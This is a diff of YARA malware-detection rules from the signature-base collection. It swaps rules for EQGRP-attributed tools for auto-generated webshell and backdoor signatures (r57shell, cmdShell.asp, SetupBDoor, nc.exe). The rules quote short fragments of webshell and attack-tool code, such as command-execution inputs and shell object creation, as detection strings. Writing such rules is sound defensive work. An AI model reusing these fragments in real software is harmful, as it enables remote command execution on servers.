+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8836-L8850"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b4e8447826a45b76ca45ba151a97ad50"
+		logic_hash = "01c9582897c65e608d49a151fe9ade97b9a031d7d10f5fd4b4d0c2a3fd83e7b6"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "-C %s 127.0.0.1\" scripme -F -t JACKPOPIN4 '&" fullword ascii
-		$x2 = "Command too long!  What the HELL are you trying to do to me?!?!  Try one smaller than %d bozo." fullword ascii
-		$x3 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
-		$x4 = "Error from ourtn, did not find keys=target in tn.spayed" fullword ascii
-		$x5 = "ourtn -d -D %s -W 127.0.0.1:%d  -i %s -p %d %s %s" fullword ascii
+		$s0 = "*<Blank - no es"
+		$s3 = "JDiamondCS "
+		$s8 = "sword set> [Leith=0 bytes]"
+		$s9 = "ION\\System\\Floating-"
 
 	condition:
-		( uint16(0)==0x457f and filesize <700KB and 1 of them ) or ( all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Installdate : FILE
+rule SIGNATURE_BASE_Shelltools_G0T_Root_Xwhois
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file installdate.pl"
+		description = "Webshells Auto-generated - file xwhois.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "029b1213-1206-5b7c-bd72-93239a23fe8a"
-		date = "2016-08-15"
+		id = "8f3b3bb2-5884-584a-8220-b6edbfebc8a3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L31-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "363a9c92c4d2560ba6dd0ec41acf136dff4346f20d54f971d319ed2aa531fe31"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8851-L8865"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0bc98bd576c80d921a3460f8be8816b4"
+		logic_hash = "75ee56dae5fde75ae4dc4bba835a96016781b747f3cff0dc6d52e665463a6070"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "#Provide hex or EP log as command-line argument or as input" fullword ascii
-		$x2 = "print \"Gimme hex: \";" fullword ascii
-		$x3 = "if ($line =~ /Reg_Dword:  (\\d\\d:\\d\\d:\\d\\d.\\d+ \\d+ - )?(\\S*)/) {" fullword ascii
-		$s1 = "if ($_ =~ /InstallDate/) {" fullword ascii
-		$s2 = "if (not($cmdInput)) {" fullword ascii
-		$s3 = "print \"$hex in decimal=$dec\\n\\n\";" fullword ascii
+		$s1 = "rting! "
+		$s2 = "aTypCog("
+		$s5 = "Diamond"
+		$s6 = "r)r=rQreryr"
 
 	condition:
-		filesize <2KB and (1 of ($x*) or 3 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Teflondoor : FILE
+rule SIGNATURE_BASE_Vanquish_2
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file teflondoor.exe"
+		description = "Webshells Auto-generated - file vanquish.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "188f9ef1-5524-50be-ac62-91cb9726b155"
-		date = "2016-08-15"
+		id = "6736cad6-cba1-5b6f-ae05-e2b980280479"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L52-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "38be3cfa638509d539bf4ada3b5c7e44e01ee4cfb74a53a76cd2f4287c5a56f5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8866-L8877"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2dcb9055785a2ee01567f52b5a62b071"
+		logic_hash = "428dc4e6d8bcc888e6f99f69ee9f211aa029d3486b99b9716d09709dc391d9a2"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "%s: abort.  Code is %d.  Message is '%s'" fullword ascii
-		$x2 = "%s: %li b (%li%%)" fullword ascii
-		$s1 = "no winsock" fullword ascii
-		$s2 = "%s: %s file '%s'" fullword ascii
-		$s3 = "peer: connect" fullword ascii
-		$s4 = "read: write" fullword ascii
-		$s5 = "%s: done!" fullword ascii
-		$s6 = "%s: %li b" fullword ascii
+		$s2 = "Vanquish - DLL injection failed:"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 1 of ($x*) and 3 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Durablenapkin_Solaris_2_0_1 : FILE
+rule SIGNATURE_BASE_Down_Rar_Folder_Down
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file durablenapkin.solaris.2.0.1.1"
+		description = "Webshells Auto-generated - file down.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7b49a26d-9ee3-5aff-93fc-509239daef28"
-		date = "2016-08-15"
+		id = "4e0a0e03-4f01-5b58-807c-0934cdda77ab"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L75-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "113f9451d6792511baa168957c643de02f37826b32944ef882f49b68496ec596"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8878-L8889"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "db47d7a12b3584a2e340567178886e71"
+		logic_hash = "bc666d6333d49a2b01553e1946fc304195193b9be92e26805474e64da61455da"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "recv_ack: %s: Service not supplied by provider" fullword ascii
-		$s2 = "send_request: putmsg \"%s\": %s" fullword ascii
-		$s3 = "port undefined" fullword ascii
-		$s4 = "recv_ack: %s getmsg: %s" fullword ascii
-		$s5 = ">> %d -- %d" fullword ascii
+		$s0 = "response.write \"<font color=blue size=2>NetBios Name: \\\\\"  & Snet.ComputerName &"
 
 	condition:
-		( uint16(0)==0x457f and filesize <40KB and 2 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Teflonhandle : FILE
+rule SIGNATURE_BASE_Cmdshell
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file teflonhandle.exe"
+		description = "Webshells Auto-generated - file cmdShell.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4d82cc41-3777-5f8c-9392-aca69e6ed781"
-		date = "2016-08-15"
+		id = "be256fc4-8dc5-58e4-9ca2-5a1df936b8dd"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L94-L111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7dfa713b763c983219f008405e1ebf3dfe386672f2d4e5fb54b2b362023ae08a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8890-L8901"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8a9fef43209b5d2d4b81dfbb45182036"
+		logic_hash = "5e7c7537b355b162d58b8bce570b1f94a8e6b479856685a245ffaed8f9482680"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s [infile] [outfile] /k 0x[%i character hex key] </g>" fullword ascii
-		$s2 = "File %s already exists.  Overwrite? (y/n) " fullword ascii
-		$s3 = "Random Key : 0x" fullword ascii
-		$s4 = "done (%i bytes written)." fullword ascii
-		$s5 = "%s --> %s..." fullword ascii
+		$s1 = "if cmdPath=\"wscriptShell\" then"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and 2 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_False : FILE
+rule SIGNATURE_BASE_Zxshell2_0_Rar_Folder_Nc
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file false.exe"
+		description = "Webshells Auto-generated - file nc.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3a68790b-38fc-570b-8b19-c5478cdd2842"
-		date = "2016-08-15"
+		id = "106209fc-f957-5131-825b-8eb7835625e0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L113-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1938bc7a5a7a1bb382c2bab976013a1adedc045e0312daabe1bdcdd65d0c606"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8902-L8916"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2cd1bf15ae84c5f6917ddb128827ae8b"
+		logic_hash = "6106758aedb33f8983f387a58fcd815c47f793cd2a7ea3b0ebed13dd1d5b6e83"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = { 00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
-			00 25 6C 75 2E 25 6C 75 2E 25 6C 75 2E 25 6C 75
-			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
-			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
-			00 25 32 2E 32 58 20 00 00 0A 00 00 00 25 64 20
-			2D 20 25 64 20 25 64 0A 00 25 64 0A 00 25 64 2E
-			0A 00 00 00 00 25 64 2E 0A 00 00 00 00 25 64 2E
-			0A 00 00 00 00 25 64 20 2D 20 25 64 0A 00 00 00
-			00 25 64 20 2D 20 25 64 }
+		$s0 = "WSOCK32.dll"
+		$s1 = "?bSUNKNOWNV"
+		$s7 = "p@gram Jm6h)"
+		$s8 = "ser32.dllCONFP@"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and $s1
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Dn_1_0_2_1 : FILE
+rule SIGNATURE_BASE_Portlessinst
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file dn.1.0.2.1.linux"
+		description = "Webshells Auto-generated - file portlessinst.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "24b5fb51-2463-56ef-818a-949b4b3bbf5b"
-		date = "2016-08-15"
+		id = "c641c522-7844-5002-8ae7-4aaf60d1337d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L136-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b6420401419b280f01f7fc73412386a19e94a57e589a043b231b6a721585c99"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8917-L8930"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "74213856fc61475443a91cd84e2a6c2f"
+		logic_hash = "72ca80de2ad2048d1fcbbffeebd0e4fd7d9d47d6736360674e6a85ef9943abe8"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Valid commands are: SMAC, DMAC, INT, PACK, DONE, GO" fullword ascii
-		$s2 = "invalid format suggest DMAC=00:00:00:00:00:00" fullword ascii
-		$s3 = "SMAC=%02x:%02x:%02x:%02x:%02x:%02x" fullword ascii
-		$s4 = "Not everything is set yet" fullword ascii
+		$s2 = "Fail To Open Registry"
+		$s3 = "f<-WLEggDr\""
+		$s6 = "oMemoryCreateP"
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and 2 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Morel : FILE
+rule SIGNATURE_BASE_Setupbdoor
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file morel.exe"
+		description = "Webshells Auto-generated - file SetupBDoor.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e741b727-0e41-53d0-832c-df7f4ea7964a"
-		date = "2016-08-15"
+		id = "055ff783-fa9f-5037-a3d6-88b58ec1612f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L154-L170"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "463d628bb19e27e94dcccc4c7d435d86111d51aa9f77c5ca1a199d9aaa9017ba"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8931-L8942"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "41f89e20398368e742eda4a3b45716b6"
+		logic_hash = "b4b6a0e4b9f8975d769d340a420af37dbc344d32c72447a8c56b05e985e6d806"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a9152e67f507c9a179bb8478b58e5c71c444a5a39ae3082e04820a0613cd6d9f"
 
 	strings:
-		$s1 = "%d - %d, %d" fullword ascii
-		$s2 = "%d - %lu.%lu %d.%lu" fullword ascii
-		$s3 = "%d - %d %d" fullword ascii
+		$s1 = "\\BDoor\\SetupBDoor"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <60KB and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Bc_Parser : FILE
+rule SIGNATURE_BASE_Phpshell_3
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file bc-parser"
+		description = "Webshells Auto-generated - file phpshell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ed4523de-b126-503a-83bd-aafd8533b0e5"
-		date = "2016-08-15"
+		id = "2f0ddfef-b3b5-592b-a9fb-fae4d825d0af"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L172-L187"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e8911acc1173e1149fd11dd795b72ba26bc654cbc7f9d95053ce420663fcafe9"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8943-L8955"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e8693a2d4a2ffea4df03bb678df3dc6d"
+		logic_hash = "b86fa40fd7bbcae86926182882faa226530e44c20bc611b8433a7da7f012106c"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "879f2f1ae5d18a3a5310aeeafec22484607649644e5ecb7d8a72f0877ac19cee"
 
 	strings:
-		$s1 = "*** Target may be susceptible to FALSEMOREL      ***" fullword ascii
-		$s2 = "*** Target is susceptible to FALSEMOREL          ***" fullword ascii
+		$s3 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>"
+		$s5 = "      echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";"
 
 	condition:
-		uint16(0)==0x457f and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_1212 : FILE
+rule SIGNATURE_BASE_BIN_Server
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file 1212.pl"
+		description = "Webshells Auto-generated - file Server.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "428fed4f-df5c-5fc2-ac4b-4dea69ea4f2d"
-		date = "2016-08-15"
+		id = "1625b0ee-5f9f-57d8-8333-f175f46d6c59"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L189-L207"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1be7ed8fdfaecc6e55c4d1e75cf841f4620df3d2abe6aed2761aed20c42f70bd"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8956-L8972"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1d5aa9cbf1429bb5b8bf600335916dcd"
+		logic_hash = "34f9d78e0f61717fae2945e7a833c2c6d59e28035ee95da2c5d32b4e196bc957"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if (!(($srcip,$dstip,$srcport,$dstport) = ($line=~/^([a-f0-9]{8})([a-f0-9]{8})([a-f0-9]{4})([a-f0-9]{4})$/)))" fullword ascii
-		$s2 = "$ans=\"$srcip:$srcport -> $dstip:$dstport\";" fullword ascii
-		$s3 = "return \"ERROR:$line is not a valid port\";" fullword ascii
-		$s4 = "$dstport=hextoPort($dstport);" fullword ascii
-		$s5 = "sub hextoPort" fullword ascii
-		$s6 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+		$s0 = "configserver"
+		$s1 = "GetLogicalDrives"
+		$s2 = "WinExec"
+		$s4 = "fxftest"
+		$s5 = "upfileok"
+		$s7 = "upfileer"
 
 	condition:
-		filesize <6KB and 4 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_1212_Dehex : FILE
+rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - from files 1212.pl, dehex.pl"
+		description = "Webshells Auto-generated - file 2006.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2cc375e6-2bff-5623-b86c-a6413f736c42"
-		date = "2016-08-15"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L209-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74d1b0e820696cd5507996996bead50d283e83095bc7288a6e8e484738b6348b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8973-L8984"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c19d6f4e069188f19b08fa94d44bc283"
+		logic_hash = "536232bbdd21bddb88eefe06a82927abcdd3ed10404c052957896960a6d10932"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "return \"ERROR:$line is not a valid address\";" fullword ascii
-		$s2 = "print \"ERROR: the filename or hex representation needs to be one argument try using \\\"'s\\n\";" fullword ascii
-		$s3 = "push(@octets,$byte_table{$tempi});" fullword ascii
-		$s4 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
-		$s5 = "print hextoIP($ARGV[0]);" fullword ascii
+		$s6 = "strBackDoor = strBackDoor "
 
 	condition:
-		( uint16(0)==0x2123 and filesize <6KB and (5 of ($s*))) or ( all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Install_Get_Persistent_Filenames : FILE
+rule SIGNATURE_BASE_R57Shell_3
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file install_get_persistent_filenames"
+		description = "Webshells Auto-generated - file r57shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cf74b479-4b78-537a-878c-2f3ce004b775"
-		date = "2016-08-16"
+		id = "4129d77c-2981-587b-a83e-8767dc3a48d8"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L237-L250"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "be07e3e3e96dd4676a76b32eb8fc47b2ab1f66ebbd6c2a3f1c88fc224f9f39ef"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8985-L8996"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "87995a49f275b6b75abe2521e03ac2c0"
+		logic_hash = "0fdca080c7ce57b7bd818a968840aebf3c5c74f188ed062fec794bfadb4e75b0"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4a50ec4bf42087e932e9e67e0ea4c09e52a475d351981bb4c9851fda02b35291"
 
 	strings:
-		$s1 = "Generates the persistence file name and prints it out." fullword ascii
+		$s1 = "<b>\".$_POST['cmd']"
 
 	condition:
-		( uint16(0)==0x457f and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Create_Dns_Injection
+rule SIGNATURE_BASE_Hdconfig
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file create_dns_injection.py"
+		description = "Webshells Auto-generated - file HDConfig.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ef358ca6-ebd8-5d08-944b-f1fcd112f1f3"
-		date = "2016-08-16"
+		id = "6f743137-e85a-5298-b51e-c8792e507d28"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L252-L266"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a07cb33c459208410b326fc260e96e617385ee4eac905a92d9542cb5ec73713e"
-		score = 75
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8997-L9012"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7d60e552fdca57642fd30462416347bd"
+		logic_hash = "9001f79db15548cf3ca931d0043d078db7d900ab26093afbf5cd44d0a85800f4"
+		score = 60
+		quality = 55
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "488f3cc21db0688d09e13eb85a197a1d37902612c3e302132c84e07bc42b1c32"
 
 	strings:
-		$s1 = "Name:   A hostname: 'host.network.com', a decimal numeric offset within" fullword ascii
-		$s2 = " www.badguy.net,CNAME,1800,host.badguy.net \\\\" ascii
+		$s0 = "An encryption key is derived from the password hash. "
+		$s3 = "A hash object has been created. "
+		$s4 = "Error during CryptCreateHash!"
+		$s5 = "A new key container has been created."
+		$s6 = "The password has been added to the hash. "
 
 	condition:
-		1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Screamingplow
+rule SIGNATURE_BASE_FSO_S_Ajan_2
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file screamingplow.sh"
+		description = "Webshells Auto-generated - file ajan.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cb535ef0-e3ea-54cc-9082-3d63cc96d93a"
-		date = "2016-08-16"
+		id = "a66c34ed-0ae2-5e04-bfc4-c82583c5e066"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L268-L282"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "429ff81b6079785cc45d81b5ebf8bccd49f30484ca692017b0b66484463606d4"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9013-L9025"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+		logic_hash = "0ac31ee735c94289932369dfba5b408cbf71cc23fd48ce3e09dc7ce640a0d733"
 		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c7f4104c4607a03a1d27c832e1ebfc6ab252a27a1709015b5f1617b534f0090a"
 
 	strings:
-		$s1 = "What is the name of your PBD:" fullword ascii
-		$s2 = "You are now ready for a ScreamPlow" fullword ascii
+		$s2 = "\"Set WshShell = CreateObject(\"\"WScript.Shell\"\")"
+		$s3 = "/file.zip"
 
 	condition:
-		1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Mixtext
+rule SIGNATURE_BASE_Webshell_And_Exploit_CN_APT_HK : WEBSHELL
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file MixText.py"
+		description = "Webshell and Exploit Code in relation with APT against Honk Kong protesters"
 		author = "Florian Roth (Nextron Systems)"
-		id = "99b06100-8a05-5c22-8b7d-ed451d5f4e81"
-		date = "2016-08-16"
+		id = "eb37a22b-4e8a-5986-bd47-4ef5b4986f47"
+		date = "2014-10-10"
 		modified = "2023-12-05"
-		reference = "Research"
